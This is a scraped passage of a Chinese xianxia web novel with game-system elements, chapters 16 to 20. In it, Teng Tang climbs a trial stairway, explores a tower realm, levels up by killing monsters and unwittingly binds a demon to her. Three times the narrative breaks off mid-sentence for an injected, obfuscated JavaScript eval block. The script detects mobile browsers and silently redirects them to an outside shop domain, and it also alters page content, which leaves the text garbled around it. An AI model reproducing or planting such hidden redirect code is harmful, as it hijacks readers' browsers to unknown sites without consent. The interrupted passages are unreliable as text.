“有次我亲眼瞧见,龙哥哥将你炼的那枚凝玉丹送给滕棠,不然滕棠的实力怎么会增长得这么快。” “刚才我说那枚丹药是小姐的,她竟然骂小姐臼头深目,说龙哥哥不喜欢小姐,只喜欢她。” 徐扉罗见她哭哭啼啼的样子,觉得心烦,看一眼下方的滕棠,确实不太理解对方怎么变得这么厉害了。 她对鲁酥酥的话半信半疑,由于年纪尚轻,还是小女孩性子,没往深处想,听完便生气了。 “九长老,第三场比试规则我想改一下。”徐扉罗虽然在受戒台那儿,看不过去,帮助过滕棠,但她本质上还是讨厌滕棠的。 傲天哥哥有自己就够了,一个杂役凭什么跟她平起平坐。 几百个小方台上,众人还在比试。然而炼气期弟子的灵力有限,打不了太长时间,因此第二场比试很快结束。 一个时辰后,一千人淘汰半数。留下的五百人,多多少少都带着伤,神情很疲惫。反观滕棠,却是像没事人一样,还在旁边把灵力积攒得七七八八。 九长老并未让他们歇息,和徐扉罗商量好第三场规则后,带他们来到峥嵘峰底,白玉阶台的前面。 “第三场比试,登升云阶。戌时结束,过三百阶成为外门弟子,其余为高等杂役。” 17. 第 17 章 四面崇山峻岭,白色的雾掩蔽高山,如倒流香般,从顶处倾泻而下,袅袅缠在半山腰。 “记住,攀梯时不可借助任何灵器灵药。” 九长老手一扬,峥嵘峰的雾散去一半,山上蜿蜒的白梯变得清晰。 碍于原主对修真界的认知甚少,滕棠并不明白大家为何听到“升云阶”三个字后,都在嘶气。 她走近一名直叹气的弟子,礼貌询问:“请教这位师兄,升云阶有什么难处?” “升云阶啊!” 对方见她一副什么都不懂的样子,再看杂役穿着,露出了然的神色。 他先是“哎”了一声,随后好心地给她普及飞升知识:“渡劫成仙要登天梯,自己铺砌太过缓慢……前人栽树后人乘凉,历来走的是先祖们铺的天梯。” “万年前,修真界有上千条先人留下来的天梯,可惜被一个大魔头毁得只剩三条,致使如今飞升艰难。现在的渡劫期修者,唯有去无涯宗、人鱼岛,或者冥无魔宫,才能飞升仙界。” 他说的时候,滕棠长发间的鳞片生起几丝黑烟。 背了万年黑锅的岑云岭,听见这话,不可谓不气。此事乃浮光所为,和他半点干系都没有。 他杀了浮光,世人该感谢他才对。 然而那些人却将他所有分-身镇压封印,把冥无大陆毁得生灵涂炭。 如今万年过去,他的神戒戴在别人指上,自己身首异地,连个炼气二层的女子都打不过…… 好心的师兄指向峥嵘峰东面,继续对滕棠道:“这升云阶便是仿的天梯。灵根数越多,或是身体越弱的人,想登上去越难。” “多谢师兄告知。” 男子摇摇头:“看你可怜罢了。我素来看不惯宗门内拉帮结派的风气,厉蓄他们养了不少炉鼎,走这些歪门邪道,会有报应的。” 他瞄一眼滕棠,连摇几次头:“不过话说回来,你资质太差,想过升云阶这一关,毫无可能,连一百阶都登不上去。” 滕棠被他说得心里没底,跟着人群走,伸长脖子看前面的情况。 升云阶一阶十米长、两米宽,几乎要走两三步才能爬上一阶。洁白如玉的石梯光滑干净,无论被多少人踩踏过,仍旧崭新。 最底下的石阶拥挤不堪,有些人爬上十几阶便上不去了,更上一阶,手上去会被弹回来,脚上去会滑下来。 九长老于空中再次放置沙漏。众人见之,立马慌起来,满头大汗地在石梯上不断尝试。 滕棠没有了龙傲天的庇护,今后只能靠自己。她一想到如果不能成为外门弟子,回去会被分派给其他人做杂役,就感到窒息。 今天说什么也要爬上三百阶。 在她背后,黑色鳞片从发缝露出薄片边缘,窥看升云阶上的弟子。 岑云岭准备换人附身修行。奈何他眼界太高,在场无一人令他满意,且不说这些人十分懒惰,不像滕棠一样能坚持不懈地引灵气入体,让他好分一杯羹。 找来找去,岑云岭决定放弃,先在滕棠身上待一段时间。 提裙缓缓踏上白玉石梯,滕棠脚下五种颜色的灵力光彩夺目。这股灵力来自升云阶,死死黏住她双足,使她难以行动。 靠本身的力量,上不了几阶,唯有运转体内灵力去对抗,才能抬起脚。滕棠顿时明白,为何方才男子说她爬不上去。 灵根多者,爬升云阶吃亏。别人脚下被三种灵力捆缚,她这双脚瞧去,五股绳粗的灵力死死绑住她,不让她走。 天上的九长老和徐扉罗御剑下来,一左一右监察他们是否舞弊。 与此同时,鲁酥酥趴在灵鹰背上,到徐扉罗身边道:“大小姐,奴婢替您记人,您只需抓舞弊者。” 徐扉罗觉得省事,点点头同意。 接过纸笔,鲁酥酥规矩地停在三百阶台上,低头观看滕棠的动静,小声嘟囔:“我不能过,你也别想过。” 被她刚刚打点好的一名弟子,靠近滕棠小声道:“你叫滕棠是吧?” 滕棠转过头,不认识此人。 陌生女子热情地在一旁与她聊,见她爬得快了,便拉住她的手臂道:“爬梯一定要慢,保持体内灵力充盈,这样往后更好爬,爬得越慢越好,爬快容易力竭,最后上不了高梯。” 此人的热情来得莫名其妙,且言行说不出的怪异,与自己对话时,眼神偶尔往天上瞄。 滕棠抱有戒备,点头表示自己听到后,未依她说的那样减缓速度。 她擦拭脸上的汗珠,默无声地盯着下一梯,快速往上踩。她想试试,如果不靠系统,最多能爬多少阶。 九十七、九十八……一百阶! 滕棠浑身通红,汗流浃背,呼吸微微急促。天空上的沙漏已经流走一半,慢腾腾地爬,根本不可能在有限时间内爬到高处。 此时,五百人里只有十几个抵达三百阶,大多数人在两百阶的位置。 山下偶有凉凉的雾扑面而来,缓解浑身的燥热。 滕棠四肢着地,费力地往上爬。她好像被胶水粘住,连站起来都无法做到。 拧干湿答答的长袖,回头往下看,她竟然不是吊车尾,底下还有三十来个,灵根皆为四灵根,头上显示[2级]。 沙漏三分之二已流完,长长的白梯上,人数分布极其不匀,两百阶像是分水岭,其之下竟有三百多人登不上去。 爬至一百五十阶,滕棠到达极限,试了试确实无法更进一步后,歇息半晌,准备开挂。 上方,鲁酥酥见她汗流浃背地停在那里,心里微微窃喜。 与此同时,岑云岭移动到她脖子边,决定随便找个人附着。滕棠在修行上勤是勤快,但之后分配给别人做杂役就说不准了,杂役能有多少时间? 约莫酉时初刻,天空染了霞色,橙红漫过半边天,山上聚拢的浓雾隐约镀了一层金光。 滕棠像从水里捞出来的咸鱼,头发衣服湿淋淋地贴在皮肤上,白唇起了一圈干皮,闭眼躺在一百五十阶,似睡着了。 上一秒,她还处于这种状态,下一秒,她睁开眼,满血复活,速度均匀地往上爬。 其实她完全可以站起来走,系统的灵力足够支撑她行至四百阶。 但为了避免引起骚动,让九长老和公判怀疑自己,她不得不假装艰难,依旧化身伏地魔,四肢着地,慢慢爬向三百阶。 她演技了得,双目聚拢光,渴望地望着上方,颤抖两腿往前爬。取下腰间配饰,咬在口中,眼睛因太长时间不眨,又红又湿,好似难受地在哭。 阶梯旁监察的九长老,看到她这副模样,不忍劝道:“小姑娘放弃吧,你五灵根爬不上去的。”结果过一会儿,又吃惊地发现,她于极限中再登一梯。 升云阶戌时结束,天色渐黑,剩下的时间不多了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032676|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滕棠速度控制得刚刚好,她距离三百阶仅差两阶。但此时无论她装得再困难,九长老和徐扉罗都不相信她有这个能力。 两人对她检查了好几次,确实没找到灵器灵药的迹象,才把她扔回去。两双眼睛现在只盯她一个,屏息凝神地看着她那双手、那两条腿,颤颤巍巍的,一点一点磨蹭到三百阶。 两人互相对视,皆瞪大眼睛。 “怎么可能!”九长老大呼。另一边,徐扉罗和鲁酥酥已经傻眼了。 就连她头发里的岑云岭,都不敢相信。五灵根修者虽然罕见,却强不至此。 可是……想要成为外门弟子,还得再上一阶。 滕棠尴尬地擦擦汗,在他们眼皮子底下,抖动着手指头,伸出去够到上一阶,在沙漏快流完的那一刻,慢腾腾挪上去。 三百零一阶!外门弟子的身份到手,滕棠躺倒在石阶上,歪着头,虚弱地呼吸。 九长老和徐扉罗忍不住,再把她上上下下检查了一遍,仍然没找到丹药灵器的使用迹象。 “不可能!绝对不可能!”鲁酥酥急了,对徐扉罗道:“小姐你再仔细检查一下,她肯定借助了宝物登梯。” “我的寻宝草岂会判断错?” 徐扉罗皱眉,见鲁酥酥没认真记名,命灵鹰将她送下去,自己提笔写道:“滕棠,炼气二层五灵根,三百零一阶,外门弟子。” 她眼神复杂地看了眼阶台上的人,觉得滕棠变了,和以前那个娇滴滴、风一吹就倒的人大相径庭。 九长老收回沙漏,站上升云梯最顶端的圆盘,把疲乏的一百来人招上去。 他接过徐扉罗列的名单,看了看,微微点头道:“不错,今年的新人比试,通过者有一百一十二人。” 他说到此处停顿,转头看向虚脱的滕棠,声音有些不平稳:“第一次,第一次有五灵根弟子爬上三百阶!” 刹那间,滕棠被数道火辣辣的视线聚焦,有惊诧的,有质疑的…… 她自身却表现得很淡定,双目无光,在脑海中查看自己的活动进度和经验值。 [经验值2140121/100000003级] [连胜战绩:36] …… 还差好远啊,不知去明月八角塔,能不能快速升级,拿下活动大奖。 新人比试结束,九长老给他们分发了一个储物袋,里面装有两百块下品灵石、一瓶结气丹,和外门弟子的衣服令牌。 旧的不去,新的不来,滕棠早先那个储物袋给鲁酥酥了,新的这个大两倍左右。她拿出一块长方形的令牌,爱不释手地摸了摸,决定今晚就去明月八角塔,一刻也不耽搁。 休息好后,她找个隐匿的地方换了身衣服,神清气爽地朝后山行去。 在原主模糊的记忆中,有关明月八角塔的消息,全来自龙傲天的描述。 据闻那是座仙级宝塔,八角十层,每个角被一大门派占据。八大门派的弟子皆在里面修行,找寻机缘,以期有朝一日登上十层,获得去天央大陆修行的名额。 修真界有多少个大陆,滕棠没搞清楚,但知道所有大陆中,只有天央大陆是修者们的向往之地。那里强者如云,门派林立,令无数人趋之若鹜。 龙傲天曾告诉原主:“想飞升成仙,必须去天央大陆的无涯宗,等我上了明月塔十层,丫头你可随我前去。” 18. 第 18 章 鹿焰宗是明月大陆排名第八的门派,拥有明月八角塔的一角。 滕棠最初以为后山会有一座塔,还想象了下塔的模样,结果来到门派后山,只看到空中的虚影,非常淡,要离远点才能知晓大致轮廓。 这里实际并没有宝塔,仅有一扇门。 山谷的圆石台上,雕刻有月亮的不同形态,弯钩、冰轮、半圆……在石台中央,伫立着两根普通的石柱,外观没有奇特之处。 等滕棠走近,细看下才发现高高的石柱上,密集刻写了笔势雄奇的“明月八角塔”五个小字。 石柱顶上横放着一块白玉雕版,合在一起像牌坊,中间浅琢圆月,正骨两侧的垂兽为龙凤,下两合角吻的戗兽则是虎龟。 夜色下,这里寂静无人。石门的门扇由光幕组成,若不仔细看,会忽略浅浅流动彩光的门环。 滕棠把手搭上去,摸到透明的门环。她试着拉,没拉动,反被一阵灵威震出圆台。 “噗呸……”吃了一嘴泥,滕棠从地上爬起,四处看了看,才发现圆台蹋道旁有个小方柱,顶着一朵石莲花,形似烛台。 她走近发现莲花中心的凹陷大小和令牌一致,抱着试试的想法,把外门弟子的令牌放上去。 下一瞬,莲花咔嚓转动,飘出一缕白烟,绕到她手腕上形成印记。 滕棠惊奇地取出令牌,再次来到石门前,摸索门环的位置,一拉,白光大盛。 眨眼间,她出现在一条纯白的通道中,前方蓝色的漩涡缓缓转动,滕棠紧张地走进去。 眼前的世界陡然一变,热闹的楼宇宽巷中人来人往,酒肆食铺与凡间无异,修者在这里俨然打造出了新的天地。 她在大街上逛来逛去,发现店铺里卖的不是凡货,大多为灵药、灵器和灵食,种类繁多,标价单位看不到金银,皆是用灵石做交易。 塔内即使有山有水,但天空是纯白色的,没有日月,常年白昼。滕棠心想,在这里面待久了,肯定会模糊时间概念。 当八大门派的弟子就是好啊,滕棠难得露出笑容,悠闲地乱逛。 渐渐地,她走到边郊,在护城河的桥上站立,眺望远处黑压压的山脉。 她身旁走过一队又一队的年轻修者,有穿相同门派的衣服,也有穿不同门派的。滕棠未免感到好奇,于是回城找到一位鹿焰宗弟子打听。 “你是门派招的新人吧?” 对方是个和蔼的大叔,自称姓李,衣服领口绣了红鹿,身份一眼明晰,他是鹿焰宗内门弟子。 滕棠点头称是,礼貌恭敬地向他询问明月八角塔的事。 “不必拘礼,我入门派也才十年。既是同门,相助是应该的。你身为女子,又如此美貌,在明月八角塔中要小心,总有那么几颗老鼠屎坏规矩。” 李大叔从储物袋摸出一张地图给她,热情说着。 “塔分十层,每层有四个区域。这里是妖魔森,供弟子寻宝历练;这儿是明月一城,供弟子休息交易,禁止打杀;这儿是竞技台,供弟子切磋比武下赌注。至于这里……你现在去不合适,等到炼气三层再去。” 滕棠盯着图上那块空白的地方,好奇问:“怎么什么也没画?那里是什么地方?” 李大叔笑两声,点点那处:“去上面的必经之地。想去二层,要得到仙塔第一层的认可才行,经过三场试炼。” “哪三场?能否请教一下前辈。” 李大叔用三色灵力在空中画图,与她详细解释:“一是石傀儡,二是幻境,三是塔主虚影。其中第三场最难,仙塔主人留下的幻影不容小觑。每过一关,仙塔会在你身上打下印记,据闻集齐十一层的印记,能让明月八角塔认其为主。” 滕棠以为自己听岔:“前辈方才说十一层?” “是的,明月八角塔有十一层。目前通至十层的修者不少,被送去天央大陆修行,第十一层却无人上去过,即使祥天门的洞虚期老祖,亦未寻到过门。” 滕棠后续又问了些事,直至系统提醒她签到,她才知晓已至新的一天早晨七点。 总算把明月八角塔打听清楚,滕棠拿出背包里获得的回血丹,送予李大叔:“此丹药乃大师炼制,我仅剩一枚,送给前辈权当谢礼。” 李大叔开了半年灵药铺,识货的能力还是有的。他一看一闻,激动地道:“这是少见的极品灵丹!送你的人想必是数一数二的炼丹大师,你真要给我?” 滕棠心下诧异,没想到系统白送的丹药在修真界如此稀有,幸好这位大叔是个好人,若遇到坏人被惦记上就麻烦了。 “我不识货,没想到对方如此厉害,前辈觉得好便拿去吧。” 李大叔不好意思收下,从储物袋掏出100中品灵石:“这枚丹药虽用的低等药材,但一丝丹毒都无,闻之,有一味少见灵药,这百块灵石你拿去,当便宜卖给我。” “好,那晚辈改日再来登门拜访。” 滕棠没有继续推拒,和他谢别后,马不停蹄前往妖魔森。 听李大叔说,无论是仙塔试炼还是竞技台,最差的弟子都在炼气三层,她最好别去。 一没钱,二没实力,待在城内无所事事,她想了想,不如去妖魔森白手起家,靠打怪升级致富。 游戏里升级,主要是靠刷怪,怪加的经验比人多得多。和人打,一般是为了得成就奖励,或者为了完成每日任务。 滕棠这十多天里,还没试过打怪,不免有些期待。如果怪能增加大量经验,又能掉落物品,她可以一直泡在妖魔森当肝帝。 由于处在仙塔一层,八大门派加在一起,弟子数量可观。 去妖魔森的路上,滕棠发现大家都是三三两两结队而行,一问才得知,妖魔森越往深处越危险,必须找人一起行动,才不容易出事。 滕棠暂且没找到合适队伍,打算在边缘地带杀杀小怪。 妖魔森的外围,树木稀疏,视野较好,不容易被魔怪偷袭。她取出大刀,腰间一左一右别了把小飞刀,警惕地往里面走。 或许是这附近常有弟子前来,几乎看不到魔怪的痕迹,滕棠只好往里面再深入一段距离。 过了会儿,前面的灌丛窸窸窣窣,从里面窜出一只鼠精,体型有她脑袋那么大,双爪锋利,牙齿有一指长。 鼠精头上显示[4级],甩动两米长的尾巴,噼里啪啦地四处鞭打,威力非凡,完全有能力将人捆住或者抽死。 滕棠躲避速度不如它甩尾速度,肩上挨了两鞭。她手忙脚乱地支使两把飞刀,试图将它尾巴割断。 奈何鼠尾坚硬,割了几次,都只是皮外伤。 她带点挑衅的行为, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032677|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把鼠精惹怒了。尾巴甩动的速度加快,缠住滕棠一条腿,将她绊倒,牙齿咔咔,跳跃过来,张口想啃滕棠。 滕棠本能地举刀挡住,侧身一滚,被缠住的右脚反踩死它尾巴,左手奋力将它拉过来,右手握刀,看准时机,朝鼠精头部砍去。 锋利的刀刃裹挟着充沛的灵力,一刀瞄准下去,张嘴咬她的鼠精变成两半,嗒一声落到地上。 [斩杀4级鼠精,经验值+88888] [掉落物品:鼠精的尾巴×1、鼠精妖核×1] [每日任务完成+1] …… 一连串的消息中,滕棠的注意力全在五个8上,这经验值加得真多! 这下她确信了,刷怪是快速升级的主要方式。打人,除非是像凌云那样的反派小boss,否则加不了多少经验。 她弯下腰,用手碰了碰空中只有她才能看到的字。下一刻,鼠精像瘪了的气球,尾巴和妖核消失不见。 而她脑海系统内,背包格子多了鼠精的两样东西。 无需她亲自血淋淋地收拾,系统自动帮她处理妖魔,这个功能简直贴心至极。滕棠拍了两下手,自言自语:“对不起啊热血岁月,我以后不骂你了。” 抖掉身上的土,滕棠双目熠熠生辉,望向深黑的妖魔森,兴奋得心脏快跳出来。 她没钱没实力,有的是什么?是肝! 冲冲冲,滕棠举起大刀,热血沸腾地在妖魔森边缘飞奔。 遇一只杀一只,什么妖魔鬼怪,只要不超过六级,统统成为她刀下亡魂。 空空如也的背包里,东西越来越多,滕棠的经验值蹭蹭直涨。 她杀疯了。 她笑得猖狂,妖魔森的外围到处回荡着她可怕的笑声:“哈哈哈……这感觉太棒了!” 头发里的岑云岭,看得一阵沉默,第三次默念:滕棠病得不轻。 他委实被惊到一点,当了万年魔神,从没见过谁这般疯狂练功杀怪,一刻都不带停的。不过也好,能助他早日修到炼气一层,凝成幻身,离开此人。 两天后,滕棠斩杀完一只毒蛇,听到系统提示。 [恭喜玩家升至5级!] [生活玩法开启] [伙伴功能开启] …… 她打开生活玩法,功能和上辈子相差不多,分为文士、厨师和工匠等。滕棠想也没想,优先把厨师点亮。 她的人生,不能缺少美食。 其后她又点开[伙伴],下面和预料的一样,有三个空格,可以和三只妖魔或者三个人结契。结契后,她作战时可以召唤伙伴出来,帮她干架。 滕棠沉浸在系统界面,许久没出来,在岑云岭眼里,她就像个杀累了的傻子,痴呆地定在原地,一动不动。 岑云岭一边吸收她身上的灵气,一边思考,那日为何被打散。在此女身上待了几日,他观察到很多解释不通的事。 炼气二层,五灵根废物体质,能凝出一丝精神力,可不惧痛苦连续打坐修行,在仙塔内两天斩杀六十来只妖魔,手一碰,那些妖魔便丢失内核与皮角…… 滕棠自是不知身上有个大魔头的存在,看完新开的功能,眨眨干涩的眼睛,打算寻觅一只妖魔结契做伙伴。 留着三个空,不用白不用。 19. 第 19 章 先找一只试试。 深入妖魔森,滕棠开始地毯式搜索。第一个伙伴,不需要太高要求,她想看看伙伴战斗死亡后,能否靠系统冷却时间复活。 玩游戏时,玩家可以买昂贵的复活丹,或者选择去地府待半个小时,自动复活。但现在这两个功能都没有了,这说明她的生命只有一次,没有复活的选项。 如果伙伴能复活的话,不亚于拥有一具不死傀儡。滕棠找到个山洞,跃跃欲试地走进去。 洞口的爪印很新,是豪猪怪留下的。里面黑漆漆的,伸手不见五指,滕棠以火灵根变幻出火球,谨慎前行。 走了一段距离,气味越来越臭,洞顶上忽然冒出一片绿色的[3级],她抬高火球,被数量众多的蝙蝠惊起一身鸡皮疙瘩。 妈呀,密恐又犯了,她汗毛直竖地后退一步。 恍惚中听到尖锐嗡鸣的声音,滕棠仰头,迎面飞来几只凶狠的蝙蝠,攻击意图强烈。 她连忙挥使主武器,在空中与蝙蝠厮杀。 这时主武器的弱点凸显出来,大刀宽长笨拙,无法精确阻挡每一只。有两只咬到她头发,她挥刀过去时,把自己的头发一起斩断掉了。 副武器是小飞刀,足够灵活,但因滕棠不怎么使用,且操作难度大,无法将受火光影响的蝙蝠全杀掉。 蝙蝠越来越多,滕棠无奈,祈祷洞里没有高级怪,手里的火球光芒大盛,顺着刀柄包裹刀身和小飞刀,把蝙蝠烧得滋滋冒烟。 肉烧焦的气味在洞内弥漫,与臭味交融,十分难闻。 把蝙蝠收拾得差不多了,滕棠捂住鼻子,随便找到一只半死不活的,开始结契。 伙伴跟主人一样,打怪能得到经验加成,升级变强。她现在10级不到,只开放三个伙伴位置,10级以后,每升10级可多开放一个位置供她结契新伙伴。 所以滕棠一点都不担心蝙蝠弱,大不了让蝙蝠多战斗,或者寻找更强的妖魔结契。 打开[伙伴]一栏,滕棠点击[结契],借着左手的火球光芒,期待地看向脚下的小蝙蝠。 [正在结契] 她面前出现一团红色的光,内核越来越黑。脚下的小蝙蝠却变得虚弱,一动不动,仿佛咽气了。 滕棠眨眨眼,结契的时候,伙伴不应该满血恢复吗?难道说融合修真界后,系统失去了这方面的能力?但是不对啊,她升级的时候,就能恢复满血满灵力状态。 [结契成功] [结契成功] [结契成功] [已达上限!(选项)查看详情不再提示] [已达上限!(选项)查看详情不再提示] …… 面前的黑色光球消失,滕棠的脑海中,系统在不断提示她伙伴数量已达上限。 她吃了一惊,忙点开伙伴栏,果不然,三个位置都占满了。 她结契了三只蝙蝠?!滕棠抱头,不会把不会吧,她点击提示窗口的[查看详情],内心是绝望的。 然而系统没有给出有用信息:[温馨提示,您的伙伴位置已满,请努力升级,再和中意的伙伴结契。] 她踢了踢脚边的蝙蝠,蝙蝠已死,没有反应。 为了不让咚咚咚的系统音效把头吵爆,滕棠点了[不再提示],随后打开伙伴的详细信息查看。 本该露出伙伴头像的三个格子,变成三个问号,一点轮廓都不提供给她。 滕棠挨个点开,发现第一个格子为0级,名叫凌云,第二个格子11级,叫云令,第三个22级,叫岑羽。 她感到意外,退出去再进页面,反反复复确认两三次,才肯定自己没产生幻觉。云令和岑羽是谁,她不知道,但凌云这个名字她是熟悉的。 滕棠警惕四周,小声地在黑暗的山洞内道:“出来吧!我知道你们在附近。”说得很没底气,如果有人在附近,她肯定能看到山石、黑夜都无法遮掩的等级标识。 俗话说小心驶得万年船,滕棠没有复活的机会,等同于在用生命玩游戏。 不怕一万就怕万一,游戏中伙伴不能攻击玩家,可以全心全意托付后背,但穿到修真界后,难保系统有什么意外改变。 在她观察洞穴情况时,她脑后的黑色鳞片烟雾腾腾,被气的。 岑云岭不知滕棠从何处学的上古灵契,竟能神不知鬼不觉嵌入他识海,一点商量的余地都无。 他细致察看那灵契,竟是生死契。这意味着他们的存亡将永生永世绑在一起,一方死,另一方亦会消逝。 他乃世上仅存的不死魔龙,竟白栽在一介废柴女身上,真气煞人也! 生死契已成,黑色鳞片在滕棠头发里微抖,须臾后,他使出浑身解数,飞出去想划滕棠毫无遮挡的脖子。 然而想要伤害对方的念头刚生起,便被一股无形的力量遏制,鳞片尖端堪堪扫过滕棠脖子皮肤,像被头发丝拂过,一点感觉都没有。 散他幻身魔气!觊觎他不死之术!岑云岭生来第二次这般愤怒,第一次是万年前替浮光背黑锅,被所有修真者追杀。 洞内安安静静,听不见一点风声,只有臭味和肉烧焦的糊味儿。 环境太暗,对面肯定不止三人,滕棠担心小命不保,决定退出洞穴,在永远白昼的天空下,再观察到底是什么情况。 凌云……分明已死。她亲眼看到对方消散。 她跑得飞快,几分钟就出了山洞,爬到一棵树上蹲着,等着里面的人出来。 但一个小时过去,两个小时过去……始终不见有人走出洞穴。滕棠开始疑惑,里面到底有没有人。 为了解决心底的不安,她从树上小心翼翼地跳下去,双足五色灵力一亮,急速跑到妖魔森另一头,在空地上点开[伙伴]界面,先选择最弱的0级凌云召唤。 滕棠御使三把刀,戒备地左看右看,不见一个人身影,照理来说,召唤的伙伴应该在她一米范围内。 她以为自己没点击成功,于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032678|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又点了一次。这次,黑色鳞片随机出现在她脸前,从空中落地,闪过冰冷的光芒。 “凌云?” 滕棠盯着地上的鳞片,用大刀戳了戳,恶声恶气道:“我还寻思你去哪儿了,原来这鳞片就是你啊,0级不显标识,难怪我没发现你还活着。那天的仇记在账上,还没报。” 滕棠戳几下鳞片没反应,止了话,蹲下身把黑色鳞片拾起,在拇指与食指间搓动,看到一丝淡弱的黑烟冒出来,好奇地吹了吹。 她不知道岑云岭是有意识的,那黑烟是他极度愤怒而没控制好冒出的魔气。 岑云岭真想杀了这个女子…… 可世上没有后悔药,他选择附身滕棠,而今生死契已成,他此时和滕棠是一条绳上的蚂蚱,一不能伤她,二还得保护她。 滕棠用黑色鳞片在石头上磨了磨,道了声“真硬”,又试着用灵力摧毁它,想知晓系统能不能复活伙伴。 [警告!玩家不能殴打伙伴。] 滕棠的计划,还没开始,就宣告结束。她无奈地放下手,点开伙伴的第二格和第三格。 筑基一层和金丹二层的实力……她摇摇头,还是不尝试为好。跨层数打,她信心满满,但要跨阶,万一筑基的那位有什么灵丹妙药,或者宝物仙器,她十条命都不够对方杀。 先把等级提高,拿到活动大奖,再摸索伙伴功能也不迟。 滕棠关闭所有界面,决定找个怪来打碎鳞片。她在妖魔森里穿梭,略过毒蛇野兔,最后停在一棵树前。 树上有只昆虫怪,拳头大,背上红甲毒刺,头上顶着一把剪刀似的角,很像独角仙,两个弯角夹动,内侧有一排锋利的锯齿,用动作恫吓给它带来威胁的女子。 滕棠用灵力罩住它,再取出鳞片丢到它头上,让它使劲夹。 “没吃饭吗?用力!”滕棠好心地放了块肉在它旁边。 下一秒,黑色鳞片不断冒出灰烟,岑云岭的愤怒可见一斑。 明月八角塔四层。 刚和龙傲天打上交道的筑基期分-身,停下攀谈,和龙傲天拜别:“龙道友,在下有急事要办,你们二人先去妖魔森,我不久便回来。” 龙傲天头发变红后,模样愈发不羁,叼着一根草问:“何事如此急切?” 一想起底层那个疯女子,岑云岭的脸瞬间阴沉:“突然忆起约了一人在下城见面,我去去就回。” 树上的昆虫怪,夹了半天无果,索性张开钳子,任由鳞片降落。 “这到底是什么东西……”滕棠接住,正反两面来回看,瞧不出端倪。 继续尝试会浪费时间,滕棠收好鳞片,打算回明月城一趟。 如今她可以深入妖魔森,单刷等级更高的怪,炼气二层加5级实力,完全可以在森林内横着走。但是背包满了,这些掉落的物品对她来说没有用,她需要的是钱! 有钱就可以买材料、各种VIP卡、丹药技能等,所以要把东西全部卖出去,换成灵石。 20. 第 20 章 诡异的风绕过树木,贴着地面朝滕棠袭来,枯干的叶子飞起,喀嚓喀嚓脆响。 这声音让滕棠屏住呼吸,不断跳跃,蹲在树枝上,朝昏暗的前方望去。 “抓住她!”灌丛中忽然窜出十一个人,御使灵剑将她团团围住。 滕棠扫了一圈,一个也不认识,最高的那个大块头看着有点眼熟。难道刚才结契的是这些人? 大块头似乎是领头,在其余十人持剑保持攻击姿势时,他站在外围观察影灵石上的画像。手臂上的肌肉虬凸,青筋暴起,身高有一米九左右。 “是这个女人。” 虎戮捏碎影灵石,两拳相撞,走进去对滕棠道:“你让我弟弟虎凌失去资格变成杂役,拿命来赔吧!” “虎凌他哥?”滕棠上下打量他。[6级]的实力不应该待在一层,这人是专门来杀她的。 再看其余十人,七个[4级],三个[5级],没一个符合她结契的伙伴等级…… 在她头发里的鳞片寒光频闪,倘若滕棠死了,他也会跟着魂飞魄散。如果没有生死契,他才不管滕棠的死活。但分-身赶来需要时间,滕棠能撑过几招都是问题。 炼气二层的五灵根再强,也不至于能和炼气六层的三灵根修者抗衡,遑论虎戮还有十个不弱的小弟。 黑色鳞皮立在滕棠头顶,陡然弯卷,狠狠吸了一股灵力,幻化出苍白淡弱的人形。 还是用的凌云那张脸,他将被吓了一跳的滕棠扶稳,墨色的眸恍若恐怖深渊:“坚持一柱香,会有人来救你。” “吓死我了!” 滕棠见是她,松了口气,双手抵住硬邦邦的胸膛,有些愣,凌姑娘的胸真平真硬啊。 底下十几个人将这颗树团团围住。凌云的出现,让虎戮也吓了一跳,再看实力,堪堪炼气一层,不足为惧。 “记住了,你爷爷叫虎戮,睁大眼睛看着,我是怎么用拳头揍你的。” 虎戮摩拳擦掌,对其余人使了个眼色,那些人便齐力将树砍断。 凌云头上顶着[1级]的字样,挡在滕棠身前,低声道:“逃,我挡须臾。” 话音刚落,斩树的那十几把剑飞速刺向滕棠,岑云岭将手搭在她肩上,顿时黑烟四起。 所有剑铛铛掉落地上,凌云推了一把滕棠,下一秒砰地变回鳞片,轻飘飘地落在地上。 滕棠一愣,就这? 她并没有跑,因为根本逃不了。捡起地上的鳞片,滕棠思考了下,用衣袖擦干净,对鳞片说:“放心,我死不了。” 见一小魔被杀,虎戮率先冲来,两臂鼓起,肌肉大如皮球,四肢壮大后看起来像一个巨人。他双拳蜷握,蓝绿红三色灵力集中在手上,赤炎为主,蓝绿稍弱,天赋灵根为火灵根。 [叮!您已接受多人pk] [温馨提示,当前参与人数较多,你的等级太低,建议打造装备提升实力。点击‘购买材料’。] …… 